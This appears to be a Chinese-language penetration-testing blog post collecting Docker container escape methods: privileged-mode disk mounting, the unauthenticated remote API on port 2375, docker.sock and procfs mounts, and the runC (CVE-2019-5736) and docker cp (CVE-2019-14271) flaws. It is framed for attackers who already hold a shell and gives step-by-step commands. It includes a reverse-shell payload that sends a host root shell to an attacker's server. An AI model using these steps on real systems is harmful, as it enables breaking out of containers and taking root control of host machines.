docker逃逸汇总
Docker逃逸在渗透测试中面向的场景大概是这样,渗透拿到shell后,发现主机是docker环境,要进一步渗透,就必须逃逸到“真实宿主机”。甚至还有物理机运行虚拟机,虚拟机运行Docker容器的情况。那就还要虚拟机逃逸了。所以本文给大家介绍的就是如何判断当前环境是否为docker容器环境,其次通过几种方式进行docker逃逸。
判断是否为 docker 环境
方式一:判断根目录下有无 .dockerenv 文件
方式二:查询系统进程的cgroup信息是否存在docker字符串
ls -alh /.dockerenv
cat /proc/1/cgroup
利用特权模式进行 docker 逃逸
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行 docker run privileged 时,Docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行
挂载。
判断当前环境是否是以特权模式启动的
cat /proc/self/status | grep CapEff
如果是以特权模式启动的话,CapEff对应的掩码值应该为:0000003fffffffff

查看磁盘文件
fdisk -l
创建一个文件夹,并将sda1挂载到新建的文件夹中
mkdir mp
mount /dev/sda1 mp
进入mp目录即成功逃逸到宿主机根目录
利用docker remote api未授权访问导致逃逸
docker在默认部署的情况下,存在未授权访问的危害,导致攻击者可以执行任意命令,导致服务器沦陷。
适用版本
Docker version 19.03.12 之前版本
漏洞利用
访问http://x.x.x.x:2375 如下,则证明存在漏洞

使用命令拉取一个镜像,可以用已经存在的镜像,这里我用的是一个busybox镜像,因为这个镜像很小,但是命令很全。
docker -H tcp://192.168.88.130 pull busybox

使用拉取的镜像启动一个新的容器,以sh或者/bin/bash作为shell启动,并且将该宿主机的根目录挂在到容器的/mnt目录下
docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt bc01a3326866 sh 或者 /bin/bash
执行之后会返回一个该容器宿主机的shell

进入/mnt目录下即可逃逸到宿主机
危险挂载导致Docker逃逸
挂载目录(-v /:/soft)
docker run -itd -v /dir:/dir ubuntu:18.04 /bin/bash
挂载Docker Socket
Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:
- unix:///var/run/docker.sock(默认
- tcp://host:port
- fd://socketfd
Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。
逃逸复现:
1、首先创建一个容器并挂载/var/run/docker.sock;
docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu
2、在该容器内安装Docker命令行客户端;
apt-update apt-get install \ apt-transport-https \ ca-certificates \ curl \ gnupg-agent \ software-properties-common curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg| apt-key add - apt-key fingerprint 0EBFCD88 add-apt-repository \ "deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/\ $(lsb_release -cs) \ stable" apt-get update apt-get install docker-ce docker-ce-cli containerd.io
3、接着使用该客户端通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部;
docker run -it -v /:/host ubuntu:18.04 /bin/bash 13

4、在新容器内执行chroot将根目录切换到挂载的宿主机根目录。 已成功逃逸到宿主机。


挂载宿主机procfs
docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
为了区分,挂载到容器的/host/目录下
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
从2.6.19内核版本开始,Linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符|,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
Docker默认情况下不会为容器开启User Namespace根据参考资料1,一般情况下不会将宿主机的procfs挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有。 一些细节原理看参考资料1哈,这里专注于利用。
复现:“在挂载procfs的容器内利用core_pattern后门实现逃逸“ 利用思路:攻击者进入到挂载了宿主机profs的容器,root权限,然后向宿主机的procfs写Payload
程序漏洞导致Docker逃逸(runC容器逃逸漏洞CVE-2019-5736)
漏洞简述:
Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。
即通过在docker容器中重写和运行主机系统的runc二进制文件达到逃逸的目的,一般情况下,可通过 docker 和docker-runc 查看当前版本情况。
利用条件:
Docker版本 < 18.09.2,runc版本< 1.0-rc6,
利用步骤:

版本合适的情况下去尝试
首先我们要有一个docker下的shell,第二步利用脚本中的反弹shell命令,第三步使用go build来编译脚本,第四步将脚本上传到docker中,第五步等待宿主机执行exec进入当前docker容器的时候,宿主机就会向我们的vps反弹root权限的shell
下载poc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC.gitPoC修改Payloadvi main.go
选中部分修改\n后面的命令为反弹shell命令即可
payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"

编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64
go build main.go
拷贝到docker容器中执行
sudo docker cp ./main 248f8b7d3c45:/tmp
也可以先上传到github上,用git clone命令下载。或者上传到vps上,然后在vps上用python开启一个http服务,再用wget下载即可。
执行此脚本,然后等待宿主机用户进入这个容器中:
docker exec -it test /bin/bash
上面命令的含义是进入test这个容器,当宿主机上执行exec命令来进入我们运行了脚本的容器的时候,宿主机就会反弹root权限的shell给我们的vps的监听端口,至此利用结束。
如果没有人在宿主机执行的话是无法docker逃逸的
Docker cp命令容器逃逸攻击漏洞CVE-2019-14271
漏洞描述:
当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss.so库。黑客可以通过在容器中替换libnss.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。
影响版本:
Docker 19.03.0
漏洞原理
Copy命令允许从容器复制文件。复制文件到容器以及在容器之间复制文件。它的语法和标准Unix的cp命令非常相似。如果从容器中复制/var/logs/,需要使用的语法为:
docker cp container_name:/var/logs /some/host/path.
把文件复制到容器外,docker需要借助一个名为docker-tar的帮助进程

docker-tar的工作原理是对文件进行chroot,将请求的文件和目录放在其中,然后将其生成的tar文件传递回Docker的守护程序,该守护程序负责将其提取到宿主机的目标目录中。
CHROOT就是Change Root,也就是改变程序执行时所参考的根目录位置
Docker-tar chroot进入容器:

选择chroot的方式,有一个主要原因是为了避免符号链接问题,当主机进程尝试访问容器上的文件时,可能会产生符号链接的问题。在这些文件中,如果包含符号链接,那么可能会在无意中将其解析为主机根目录。这就为攻击者控制的容器敞开了大门,使得攻击者可以尝试让docker cp在宿主机而非容器上读取和写入文件
有漏洞的版本使用Go v1.11编译而成的
这个版本中的一些包含嵌入式C语言代码的软件包(cgo)在运行时会加载动态共享库
这些软件包包括net和os/user,都会被docker-tar使用,它们会在运行时加载多个libnss_*.so库。
通常,这些库会从宿主机的文件系统中加载,但是由于docker-tar会chroots到容器中,因此它会从容器文件系统中加载库。这也就意味着,docker-tar将加载并执行由容器发起和控制的代码。
需要说明的是,除了被chroot到容器文件系统之外,docker-tar并没有被容器化。它运行在宿主机的命名空间中,具有所有root能力,并且不会受到cgroups或seccomp的限制。
有一种可能的攻击场景,是Docker用户从以下任一用户的位置复制一些文件:
- 运行包含恶意libnss_*.so库中恶意映像的容器;
- 受到攻击的容器,且攻击者替换了其中的libnss_*.so库
在这两种情况时,攻击者都可以在宿主机上实现root权限的任意代码执行。
利用思路:
- 找出docker-tar具体会加载那些容器内的动态链接库
- 下载对应动态链接库源码,为其增加一个attribute((constructor))属性的函数run_at_link(该属性意味着在动态链接库被进程加载时,run_at_link函数会首先被执行),在run_at_link函数中放置我们希望docker-tar执行的攻击载荷(payload);编译生成动态链接文件
- 编写辅助脚本”/breakout“,将辅助脚本和步骤二生成的恶意动态链接库放入恶意容器,等待用户执行docker cp命令,触发漏洞

docker容器环境逃逸到真实宿主机
浙公网安备 33010602011771号